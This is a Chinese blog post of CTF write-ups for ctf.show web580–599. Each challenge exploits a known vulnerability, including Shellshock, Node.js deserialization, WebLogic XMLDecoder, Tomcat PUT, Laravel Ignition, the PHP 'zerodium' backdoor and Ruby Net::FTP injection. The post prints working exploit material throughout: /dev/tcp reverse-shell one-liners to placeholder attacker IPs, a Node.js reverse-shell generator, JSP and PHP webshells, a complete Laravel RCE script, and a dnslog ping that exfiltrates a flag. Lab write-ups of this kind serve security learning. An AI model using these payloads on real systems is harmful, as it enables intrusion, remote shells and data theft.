题目地址:https://ctf.show/challenges

前言:

最近又开始迷了,落下了很多事情没做,可能接下来的短时间内不会碰CTF(也不一定,看心情吧)
服务器也出了很多问题,可能需要重装一下,临近期末了,学校里面也留下了许许多多的事没做,写完这个系列的题,博客又好久没更新了就小小更新一下

image-20210615175716049.png

web580

群主发的福利,刚好没事干,拿了个一血
漏洞原理很简单,但是我一开始想复杂了,

() { :; }; XXXXXXXXXXXXXXXXXX;(XXXXXXX为自己要执行的命令)

因为bash对上面这个函数的解析的逻辑问题造成了一个远程命令执行漏洞,确实是比较离谱,
群主他是没用公网,将shell反弹到自己的虚拟机里面,没玩过,我自己有服务器,就直接弹自己了
知道了原理,那么做起来就很简单了,反弹shell的话我自己好像也写过相关的知识,这个大家应该也知道,
好像知道是这么回事都没啥好讲的了,
直接上payload:

image-20210518145041135.png

解释一下,value里面的值为:() { :; }; /bin/bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;
反弹shell的方式有很多种,这里上面的xxx分别表示自己的ip和端口号
然后在服务器上监听相关的端口,即可反弹shell

bash-4.3$ ls
ls
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
bash-4.3$ cat flag
cat flag
ctfshow{2c36caf6-2162-4696-925d-8d5846586f5a}

web581

hhh,又是一个福利,勉为其难的再拿个一血

image-20210518145728251.png

写入11.php,
然后执行一下命令就行了

web582

参考:利用 Node.js 反序列化漏洞远程执行代码
首先使用 nodejsshell.py 生成反向 shell 的 payload
nodejsshell.py

import sys

if len(sys.argv) != 3:
    print "Usage: %s <LHOST> <LPORT>" % (sys.argv[0])
    sys.exit(0)

IP_ADDR = sys.argv[1]
PORT = sys.argv[2]


def charencode(string):
    """String.CharCode"""
    encoded = ''
    for char in string:
        encoded = encoded + "," + str(ord(char))
    return encoded[1:]

print "[+] LHOST = %s" % (IP_ADDR)
print "[+] LPORT = %s" % (PORT)
NODEJS_REV_SHELL = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
    var client = new net.Socket();
    client.connect(PORT, HOST, function() {
        var sh = spawn('/bin/sh',[]);
        client.write("Connected!\\n");
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
        sh.on('exit',function(code,signal){
          client.end("Disconnected!\\n");
        });
    });
    client.on('error', function(e) {
        setTimeout(c(HOST,PORT), TIMEOUT);
    });
}
c(HOST,PORT);
''' % (IP_ADDR, PORT)
print "[+] Encoding"
PAYLOAD = charencode(NODEJS_REV_SHELL)
print "eval(String.fromCharCode(%s))" % (PAYLOAD)

image-20210514201052947.png

然后:加上 {"username":"_$$ND_FUNC$$_function (){ +生成的payload + }()","password":123} 进行base64+url编码一下
再打开网站BP抓个包,传给user,就可以进行反弹shell了,拿到shell找flag就不用多说了。

image-20210514200516804.png

web583

打开容器,是一个邮件系统,找到相关漏洞是:CVE-2016-10033
github上找到相关poc
git clone https://github.com/opsxcq/exploit-CVE-2016-10033
然后里面都有详细的介绍:
然后就根据介绍打就行了,没啥好说的,
里面有一点点小坑,但是总的来说问题不大,是自己菜了,折腾了好久

web584

隔了一段时间,发现就剩这一个题了,试了很多遍,问题比较大,最终也是折腾了好久,群主也在线1v1指导,最终拿下一血,(充VIP===>一血有手就行)
查看url/api,发现有几个接口,通过 post /api/people 可以新建一个people,得到people的id

image-20210601075020418.png

然后通过PATCH /api/people/1,可以rce反弹shell

image-20210601075143027.png

生成数字的exp(这里修改成自己反弹shell的目标,然后再使用exp生成数字,再生成payload):

payload = b'bash -c {echo,自己的IP+端口(就一普通反弹shell命令base64一下)}|{base64,-d}|{bash,-i}'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)

payload:

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{生成的数字}))/lastname", "value": "ctfshow" }]

然后这里有几个坑需要注意,一个就是要把头改掉,不然就会一直不成功

web585

Tomcat PUT方法任意写文件漏洞复现(CVE-2017-12615)
Tomcat文件包含漏洞的搭建与复现:CVE-2020-1938
上面两个应该可能大概也能打,
我用的是Tomcat/7.0.81 远程代码执行漏洞复现
CVE-2017-12617
该公开描述的利用是作为发送特殊特制HTTP,使用PUT作为有效载荷用JSP请求到Tomcat服务器。
然后,当通过HTTP客户端(例如Web浏览器)访问新上传的JSP时,执行代码。
然后使用burpsuite抓包把GET方法转为PUT方法,后面加test.jsp文件的内容然后发送:
POC:

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c) 
{
    StringBuilder line = new StringBuilder();
try 
{
    Process pro = Runtime.getRuntime().exec(c);
    BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
    String temp = null;
    while ((temp = buf.readLine()) != null) 
    {
        line.append(temp+"\\n");
    }
    buf.close();
} 
catch (Exception e) 
{
    line.append(e.getMessage());
}
return line.toString();
}
%>
<%
if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd")))
{
    out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}
else
{
    out.println(":-)");
}
%>

注意:PUT路径要用/结束,写入成功后,会返回201或者200,如果返回404说明没有写/。
不能直接put jsp或者jspx文件的,在windows下可以用test.jsp/、test.jsp/.、test.jsp::$DATA来绕过
经过测试,最新版apache-tomcat-7.0.81可以用test.jsp/、test.jsp/.来绕过

PUT /test.jsp/ HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 25
 
<%out.println("test");%>

image-20210602215944358.png

写入成功后,在服务器的 web目录,
访问上传的文件执行命令拿到flag: http://ec629268-b970-4959-b1a5-7050d9918b90.challenge.ctf.show:8080/test.jsp?pwd=023&cmd=env

image-20210602220122154.png

web586

先注册一个账号登录,查看一下文章
WordPress Double Opt-In for Download 插件 2.0.9 版本中, public/class-doifd.php 文件中 populate_download_edit_form 函数中 id 参数未经过滤,直接拼接 SQL 语句,导致 SQL 注入漏洞。


public function populate_download_edit_form() {

    global $wpdb; // this is how you get access to the database

    if( isset( $_POST[ 'id' ] ) ) {

        $value = $_POST[ 'id' ];

        $download = $wpdb->get_row( "SELECT * FROM {$wpdb->prefix}doifd_lab_downloads WHERE doifd_download_id = $value", ARRAY_A );
    }
    echo json_encode( $download );
    die(); // this is required to terminate immediately and return a proper response
}

这里的$_POST[ ‘id’ ]没有经过过滤直接带入了sql语句,造成了sql注入。

Posted in 组件漏洞    

然后访问,并post请求,拿到flag

image-20210522232028181.png

web587

可能是找错洞了,弄了半天没弄出来,弹shell也弹不出来,最后问了一下群主,也是弹shell,(可能很多人跟我一样都找错了,所以一血还在,那就勉为其难的再拿一个一血吧!)

image-20210522203950623.png

poc:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: f9f29b43-2c80-4985-b7e5-2db3a96e128c.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=17993844cd7a-08dca832ffb7698-4c3f2c72-190e59-17993844cd8780
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type:text/xml
Content-Length: 637

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/xx.xx.xx.xx/33333 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

web588

Weblogic 任意文件上传漏洞(CVE-2018-2894)
Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。(ws_utc/config.do在开发模式下无需认证,在生产模式下需要认证)
利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。
访问http://5d973395-223e-4a56-9eae-9cdd9ffc37a8.challenge.ctf.show:8080/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。为什么将当前工作目录改为这个呢?因为我们需要找一个可以访问的路径,原本的当前工作目录外网是访问不到的。还记得开始时候页面提示了自动部署应用吗,这个/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css(绝对路径)就是部署的web应用的目录(当然后面多加了一个css,这个无所谓),这个目录外网可以访问到,并且是无需权限的。外网访问它里面的文件就是就是http://5d973395-223e-4a56-9eae-9cdd9ffc37a8.challenge.ctf.show:8080/ws_utc/css/文件
所以说能够利用这个漏洞的一个前提是知道部署web应用的目录。由于我们现在自己连接着服务器,前面又提示了自动部署了应用,就可以找找WEB-INF文件夹在哪里,经分析就可以找到部署的目录

1.png

然后点击安全 -> 增加,然后上传webshell:

222.png

点击提交之后,可是使用Burpsuite拦截返回的数据包来寻找返回的时间戳ID,或者按F12打开调试台找到时间戳
这里我刚开始用F12,找到的时间戳好像不对,然后最后是抓包弄的,

3331.png

然后访问http://5d973395-223e-4a56-9eae-9cdd9ffc37a8.challenge.ctf.show:8080/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell:根据我这里上传的webshell,即访问http://5d973395-223e-4a56-9eae-9cdd9ffc37a8.challenge.ctf.show:8080/ws_utc/css/config/keystore/1621692320658_bit.jsp?pwd=023&i=ls
这里我上传的bit.jsp为:

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

执行完命令后发现没找到flag,看了一下/tmp目录下的start.sh(好像是叫这个吧),然后最后在环境变量中找到flag

image-20210522221923743.png

web589

ActiveMQ任意文件写入漏洞(CVE-2016-3088)
漏洞说明#
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问。
漏洞危害#
使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码
漏洞编号#
CVE-2016-3088
影响范围#
Apache ActiveMQ 5.x ~ 5.14.0
修复建议#
ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除
建议用户升级至 5.14.0 及其以后版本

1.PUT上传一个jsp的webshell到fileserver目录,下图可以看到成功上传jsp文件

image-20210602210312237.png

1.jsp:

<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));

 while((line=br.readLine())!=null){
  out.print(line+"</br>");
 }
%>

2、浏览器访问http://e300f540-fa8c-4d3d-9adc-f18f7850cfaa.challenge.ctf.show:8080/fileserver/1.jsp,可以看到fileserver目录下的webshell没有被解析,说明fileserver目录没有执行权限
3、查看绝对路径:http://e300f540-fa8c-4d3d-9adc-f18f7850cfaa.challenge.ctf.show:8080/admin/test/systemProperties.jsp

image-20210602210615994.png

4.接下来通过move方法,将木马文件移动到api或者admin:

image-20210602210244661.png

5.接下来访问木马:http://e300f540-fa8c-4d3d-9adc-f18f7850cfaa.challenge.ctf.show:8080/api/1.jsp?cmd=env
大概找了一下,最终还是在环境变量中找到flag

image-20210602210828641.png

web590

Apereo CAS 4.1反序列化RCE漏洞
构造(可以使用ysoserial)可执行命令的序列化对象—>发送给目标61616端口—>访问web管理页面,读取消息,触发漏洞—>代码执行
Apereo CAS的现成默认配置使用默认密钥changeit

public class EncryptedTranscoder implements Transcoder {
    private CipherBean cipherBean;
    private boolean compression = true;

    public EncryptedTranscoder() throws IOException {
        BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
        bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
        bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
        bufferedBlockCipherBean.setKeyAlias("aes128");
        bufferedBlockCipherBean.setKeyPassword("changeit");
        bufferedBlockCipherBean.setNonce(new RBGNonce());
        this.setCipherBean(bufferedBlockCipherBean);
    }

我们可以尝试使用Apereo-CAS-Attack生成加密的ysoserial的序列化对象,然后,从的登录操作中拦截并修改http请求/cas/login,将有效负载放入execution的值中
payload:

java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success"

java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -c {echo,反弹shell命令base64编码}|{base64,-d}|{bash,-i}"

如:

image-20210601162101127.png

登录,Burpsuite抓包,修改execution的值:

image-20210601112636480.png

弹shell成功

image-20210601162254011.png

web591

Apache HTTPD 换行解析漏洞(CVE-2017-15715)
比较简单的一个洞具体原理就是:
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0a将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
直接上传一句话,命令执行一下就好了
具体操作:
编写一个bit.php,内容为:

<?php eval($_POST['bit']);?>

上传抓包修改hex,在70后面修改成0a
上传后访问url/bit.php%0a,然后执行命令就ok了

web592

Apache HTTPD 多后缀解析漏洞
Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。比如,如下配置文件:

AddType text/html .html
AddLanguage zh-CN .cn

其给.html后缀增加了media-type,值为text/html;给.cn后缀增加了语言,值为zh-CN。此时,如果用户请求文件index.cn.html,他将返回一个中文的html页面。
以上就是Apache多后缀的特性。如果运维人员给.php后缀增加了处理器:

AddHandler application/x-httpd-php .php

那么,在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
直接传shell,只要把后缀名抓包或者通过其他方法改一下,然后执行命令就行了。

web593

Apache2 SSI远程命令执行漏洞
一、漏洞描述
当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用语法执行命令。
使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。
二、漏洞复现
1、访问url/upload.php,即可看到一个上传表单。
2、上传一个bit.shtml文件
内容为:
3、访问上传的文件,可以看到成功执行代码,说明存在远程命令执行漏洞
4、然后获取flag(具体自己操作两下就ok了,懒得去复现了)

web594

Laravel Debug mode RCE(CVE-2021-3129)
一、漏洞简介
当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。
二、影响版本:
Laravel <= 8.4.2
Ignition <2.5.2
环境和exp下载:https://github.com/SNCKER/CVE-2021-3129
1、在下载GitHub上下载的docker环境中带有exp,使用此exp需要下载phpggc
2、把exp和phpggc放在同一目录,使用python3执行exp,可以看到执行了exp里命令
exp:

#!/usr/bin/python3

import requests as req
import os, uuid


class Exp:
    __gadget_chains = {
        "monolog_rce1": r"""php -d "phar.readonly=0" ./phpggc/phpggc Laravel/RCE5 "system('cat /flag');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
    }

    __delimiter_len = 8

    def __vul_check(self):
        resp = req.get(self.__url, verify=False)
        if resp.status_code != 405 and "laravel" not in resp.text:
            return False
        return True

    def __payload_send(self, payload):
        header = {
            "Content-Type": "application/json"
        }
        data = {
            "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
            "parameters": {
                "variableName": "username",
                "viewFile": ""
            }
        }
        data["parameters"]["viewFile"] = payload
        resp = req.post(self.__url, headers=header, json=data, verify=False)
        # print(resp.text)
        return resp

    def __command_handler(self, command):
        self.__delimiter = str(uuid.uuid1())[:self.__delimiter_len] 
        # print(delimiter)
        command = "echo %s && %s && echo %s" % (self.__delimiter, command, self.__delimiter)
        # print(command)

        escaped_chars = [' ', '&', '|'] 
        for c in escaped_chars:
            command = command.replace(c, '\\' + c)
        # print(command)
        return command

    def __clear_log(self):
        return self.__payload_send(
            "php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/var/www/storage/logs/laravel.log")

    def __gen_payload(self, gadget_chain):
        gen_shell = self.__gadget_chains[gadget_chain]
        # print(gen_shell)
        os.system(gen_shell)
        with open('payload.txt', 'r') as f:
            payload = f.read().replace('\n', '') + 'a'
        os.system("rm payload.txt")
        print(payload)
        return payload

    def __decode_log(self):
        return self.__payload_send(
            "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/var/www/storage/logs/laravel.log")

    def __unserialize_log(self):
        return self.__payload_send("phar:///var/www/storage/logs/laravel.log/test.txt")

    def __rce(self):
        text = self.__unserialize_log().text
        print(text)

        echo_find = text.find(self.__delimiter)
        #print(echo_find)
        if echo_find >= 0:
            return text[echo_find + self.__delimiter_len + 1: text.find(self.__delimiter, echo_find + 1)]
        else:
            return "[-] RCE echo is not found."

    def exp(self):
        for gadget_chain in self.__gadget_chains.keys():
            print("[*] Try to use %s for exploitation." % (gadget_chain))
            self.__clear_log()
            self.__clear_log()
            self.__payload_send('A' * 2)
            self.__payload_send(self.__gen_payload(gadget_chain))
            self.__decode_log()
            print("[*] Result:")
            print(self.__rce())

    def __init__(self, target, command):
        self.target = target
        self.__url = req.compat.urljoin(target, "index.php/_ignition/execute-solution")
        self.__command = self.__command_handler(command)
        if not self.__vul_check():
            print("[-] [%s] is seems not vulnerable." % (self.target))
            print("[*] You can also call obj.exp() to force an attack.")
        else:
            self.exp()


def main():
    Exp("http://74d7b7f6-b5b1-49af-bf18-77ffca0222e4.challenge.ctf.show:8080/", "cat /etc/passwd")


if __name__ == '__main__':
    main()

web595

原理:
原型为PHP官方GIT服务器近日被植入的后门。

zval *enc;

// 检测user_agentt
if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER")))&&
    
(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {

convert_to_string(enc);

if (strstr(Z_STRVAL_P(enc), "zerodium")) {

zend_try {
//截取第八位后的内容用zend_eval_string 执行
zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");

} zend_end_try;

}

首先,后门程序会检测http头是否含有User-Agentt(不是User-Agent,多了一个t)。
如果存在,判断它的值是否含有zerodium字符串,作为触发后门的“口令”。
如果标示存在,从User-Agentt值的第8个字节起到结尾提取字符串作为代码(前8个字符为zerodium),进行编译执行,如同eval函数效果。
抓包改报文即可执行命令:
User-Agentt: zerodiumsystem('ls /');
User-Agentt: zerodiumsystem('cat /flag');

web596

Python PIL 远程命令执行漏洞(GhostButt CVE-2017-8291 )
漏洞原理:Python中处理图片的模块PIL(Pillow),因为其内部调用了GhostScript而受到GhostButt漏洞(CVE-2017-8291)的影响,造成远程命令执行漏洞
上传poc.png图片(poc.png在vulhub对应得CVE-2017-8291文件下)
使用记事本开打poc.png,有建一个文件aaaaa(touch /tmp/aaaaa)
修改为:bash -c "bash -i >& /dev/tcp/ip/port 0>&1"
监听一下端口,弹个shell,ok。简简单单

web597

(CVE-2018-3760)Ruby On Rails 任意文件读取漏洞
Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器,Ruby On Rails是著名的Ruby Web开发框架,Sprockets是编译及存储静态资源文件的Ruby库。
在3.7.1及之前的版本中,存在一处因为二次解码导致的路径穿越中断,攻击者可以利用%252e%252e/来跨越到根目录,读取或执行目标服务器上任意文件。
漏洞原理:
问题出在sprockets,它用来检查 JavaScript 文件的相互依赖关系,用以优化网页中引入的js文件,以避免加载不必要的js文件。
当访问如: url/assets/foo.js时,会进入server.rb
直接访问:url/assets/file:%2f%2f/etc/passwd,将会报错,因为文件/etc/passwd不在允许的目录中:
我们通过报错页面,可获得允许的目录列表。随便选择其中一个目录,如/usr/src/blog/app/assets/images,然后使用%252e%252e/向上一层替换,最后读取/etc/passwd:

http://5b2f6d38-14d4-4584-8128-47bec6bdbb02.challenge.ctf.show:8080/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd

image-20210615180333930.png

然后就简单了,读flag就完事

web598

简单的Ruby on Rails路径穿越与任意文件读取(CVE-2019-5418)
影响版本:
Rails全版本
其中修复版本

6.0.0.beta3,
5.2.2.1
5.1.6.2
5.0.7.2
4.2.11.1

这个漏洞主要是由于网站使用了为指定参数的render file来渲染应用之外的视图,我们可以通过修改访问某控制器的请求包,通过“../../../../”来达到路径穿越的目的,然后再通过“{{”来进行模板查询路径的闭合,使得所要访问的文件被当做外部模板来解析。

访问/robots并抓包,这是最终结果,随便试试就出来了,

GET /robots HTTP/1.1
Host: 2e532b03-c206-41d0-a078-2cc0b6e899e8.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept:../../../../../../../../flag{{
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=179eac34d5d4cc-0905eda7f6d8e18-4c3f2d73-190e59-179eac34d5e4cc
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

web599

这个题纠结了有一段时间,尝试了几次,很快就锁定了目标漏洞,为(CVE-2017-17405)Net::FTP 模块命令注入漏洞
漏洞简介:
Ruby Net::FTP 模块是一个FTP客户端,在上传和下载文件的过程中,打开本地文件时使用了open函数。而在ruby中,open函数是借用系统命令来打开文件,且没用过滤shell字符,导致在用户控制文件名的情况下,将可以注入任意命令。
影响范围为:Ruby < 2.4.3
而本题的版本为2.4.1,让我更加确信了是这个漏洞,
因为这是一个FTP客户端的漏洞,所以我们需要先运行一个可以被访问到的服务端。比如使用python:

# 安装pyftpdlib
pip install pyftpdlib

# 在当前目录下启动一个ftp服务器,默认监听在`0.0.0.0:810`端口
python3 -m pyftpdlib -p 810 -i 0.0.0.0

然后即可开始利用漏洞。注入命令|touch${IFS}success.txt(空格用${IFS}代替,原因不表),发送如下数据包即可(其中uri指定的ftp服务器就是我用python运行的一个简单的ftp server,其中无需放置任何文件):
但是在一番操作下来,弹shell弹不出来,让我有一点怀疑,遂问群主,它说他也弹不出来,他的预期解就是想办法外带,尝试了ping,然后还是没出来,最终发现是自己姿势有问题,
讲一下自己的解题思路吧,首先看到题目:ruby环境,和ftp有关的漏洞
然后打开容器,查看源码发现:/download?uri=ftp://127.0.0.1:21/&file=/ftpuser/flag.txt
然后就是锁定了上述的漏洞,发现很符合,于是进行各项尝试,
然后就开始想办法,执行命令,命令是执行了的,但是没有回显,那怎么办呢?
最终是使用ping命令,然后用dnslog外带回显flag
payload:

url/download?uri=ftp://xx.xx.xx.xx:xx/&file=|ping${IFS}$FLAG.7zl8r9.dnslog.cn${IFS}-c${IFS}2

image-20210615183811350.png

在拿到flag后又尝试了弹shell,还是没弹出来,就这样了吧,果然还是太菜了

标签: none

  1. xxx xxx

    tqltql

  2. img img

已有 2 条评论